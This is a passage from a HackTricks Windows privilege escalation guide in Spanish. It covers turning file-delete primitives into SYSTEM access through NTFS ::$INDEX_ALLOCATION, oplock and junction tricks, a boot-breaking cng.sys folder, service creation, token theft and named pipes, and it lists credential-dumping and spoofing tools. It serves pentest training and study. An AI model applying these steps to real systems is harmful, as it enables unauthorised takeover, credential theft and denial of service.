De Arbitrary File Delete/Move/Rename a SYSTEM EoP

La técnica principal de rollback de MSI (la anterior) asume que puedes eliminar una carpeta entera (p. ej., C:\Config.Msi). ¿Pero qué pasa si tu vulnerabilidad solo permite eliminación arbitraria de archivos?

Puedes explotar los internos de NTFS: cada carpeta tiene un flujo de datos alternativo oculto llamado:

C:\SomeFolder::$INDEX_ALLOCATION

Este flujo almacena los metadatos del índice de la carpeta.

Por lo tanto, si eliminas el flujo ::$INDEX_ALLOCATION de una carpeta, NTFS elimina la carpeta completa del sistema de archivos.

Puedes hacer esto usando APIs estándar de eliminación de archivos como:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Aunque estés llamando a una API de eliminación de archivos, elimina la carpeta en sí.

From Folder Contents Delete to SYSTEM EoP

¿Qué pasa si tu primitive no te permite eliminar archivos/carpetas arbitrarias, pero sí permite la eliminación del contenido de una carpeta controlada por el atacante?

  1. Paso 1: Configura una carpeta y archivo señuelo
  • Crear: C:\temp\folder1
  • Dentro de ella: C:\temp\folder1\file1.txt
  1. Paso 2: Coloca un oplock en file1.txt
  • El oplock pausa la ejecución cuando un proceso privilegiado intenta eliminar file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Paso 3: Activar el proceso SYSTEM (p. ej., SilentCleanup)
  • Este proceso escanea carpetas (p. ej., %TEMP%) e intenta eliminar su contenido.
  • Cuando alcanza file1.txt, el oplock se activa y cede el control a tu callback.
  1. Paso 4: Dentro del callback del oplock – redirigir la eliminación

  • Opción A: Mover file1.txt a otro lugar

  • Esto vacía folder1 sin romper el oplock.

  • No elimines file1.txt directamente — eso liberaría el oplock prematuramente.

  • Opción B: Convertir folder1 en una junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opción C: Crear un symlink en \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Esto apunta al NTFS internal stream que almacena los metadatos de la carpeta — eliminarlo elimina la carpeta.

  1. Paso 5: Liberar el oplock
  • El proceso SYSTEM continúa e intenta eliminar file1.txt.
  • Pero ahora, debido al junction + symlink, en realidad está eliminando:
C:\Config.Msi::$INDEX_ALLOCATION

Resultado: C:\Config.Msi es eliminado por SYSTEM.

De Arbitrary Folder Create a DoS permanente

Aprovecha una primitiva que te permite crear una carpeta arbitraria como SYSTEM/admin — incluso si no puedes escribir archivos o establecer permisos débiles.

Crea una carpeta (no un archivo) con el nombre de un controlador crítico de Windows, p. ej.:

C:\Windows\System32\cng.sys
  • Esta ruta normalmente corresponde al kernel-mode driver cng.sys.
  • Si lo pre-creas como carpeta, Windows no puede cargar el driver real en el arranque.
  • Entonces, Windows intenta cargar cng.sys durante el arranque.
  • Ve la carpeta, falla al resolver el driver real, y provoca un crash o detiene el arranque.
  • No existe fallback, ni recuperación sin intervención externa (p. ej., reparación del arranque o acceso al disco).

De High Integrity a SYSTEM

Nuevo servicio

Si ya estás ejecutando en un proceso High Integrity, la ruta a SYSTEM puede ser fácil simplemente creando y ejecutando un nuevo servicio:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Cuando crees un binario de servicio asegúrate de que sea un servicio válido o de que el binario realice las acciones necesarias para iniciarse rápidamente, ya que será terminado en 20s si no es un servicio válido.

AlwaysInstallElevated

Desde un proceso de alta integridad puedes intentar enable the AlwaysInstallElevated registry entries y install un reverse shell usando un .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

You can find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Si tienes esos privilegios de token (probablemente los encuentres en un proceso ya de alta integridad), podrás open almost any process (no protected processes) con el privilegio SeDebug, copy the token del proceso, y crear un arbitrary process with that token.
Usando esta técnica normalmente se selecciona cualquier proceso que se ejecute como SYSTEM con todos los token privileges (sí, puedes encontrar procesos SYSTEM sin todos los token privileges).
You can find an example of code executing the proposed technique here.

Named Pipes

Esta técnica es usada por meterpreter para escalar en getsystem. La técnica consiste en crear una pipe y luego crear/abusar de un servicio para escribir en esa pipe. Entonces, el server que creó la pipe usando el privilegio SeImpersonate podrá impersonate the token del cliente de la pipe (el servicio) obteniendo privilegios SYSTEM.
Si quieres learn more about name pipes you should read this.
Si quieres leer un ejemplo de how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Si logras hijack a dll que está siendo loaded por un process que se ejecuta como SYSTEM podrás ejecutar código arbitrario con esos permisos. Por lo tanto Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es mucho más fácil de lograr desde un proceso de alta integridad ya que tendrá write permissions en las carpetas usadas para cargar dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

Más ayuda

Static impacket binaries

Herramientas útiles

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Check for misconfigurations and sensitive files (check here). Detected.
JAWS – Check for some possible misconfigurations and gather info (check here).
privesc – Check for misconfigurations
SessionGopher – Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usar -Thorough en local.
Invoke-WCMDump – Extrae credenciales del Credential Manager. Detectado.
DomainPasswordSpray – Prueba las contraseñas recopiladas a través del dominio
Inveigh – Inveigh es una herramienta PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer y man-in-the-middle.
WindowsEnum – Enumeración básica de Windows para privesc
Sherlock ~~~~ – Busca vulnerabilidades conocidas de privesc (DEPRECATED for Watson)
WINspect – Chequeos locales (Need Admin rights)

Exe

Watson – Busca vulnerabilidades conocidas de privesc (necesita compilarse usando VisualStudio) (precompiled)
SeatBelt – Enumera el host buscando malas configuraciones (más una herramienta de recopilación de información que privesc) (needs to be compiled) (precompiled)
LaZagne – Extrae credenciales de muchos programas (ejecutable precompilado en github)
SharpUP – Port de PowerUp a C#
Beroot ~~~~ – Comprueba configuraciones erróneas (ejecutable precompilado en github). No recomendado. No funciona bien en Win10.
Windows-Privesc-Check – Comprueba posibles configuraciones erróneas (exe desde python). No recomendado. No funciona bien en Win10.

Bat

winPEASbat – Herramienta creada basándose en este post (no necesita accesschk para funcionar correctamente pero puede usarlo).

Local

Windows-Exploit-Suggester – Lee la salida de systeminfo y recomienda exploits que funcionan (python local)
Windows Exploit Suggester Next Generation – Lee la salida de systeminfo y recomienda exploits que funcionan (python local)

Meterpreter

multi/recon/local_exploit_suggestor

Tienes que compilar el proyecto usando la versión correcta de .NET (see this). Para ver la versión de .NET instalada en el host víctima puedes hacer:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks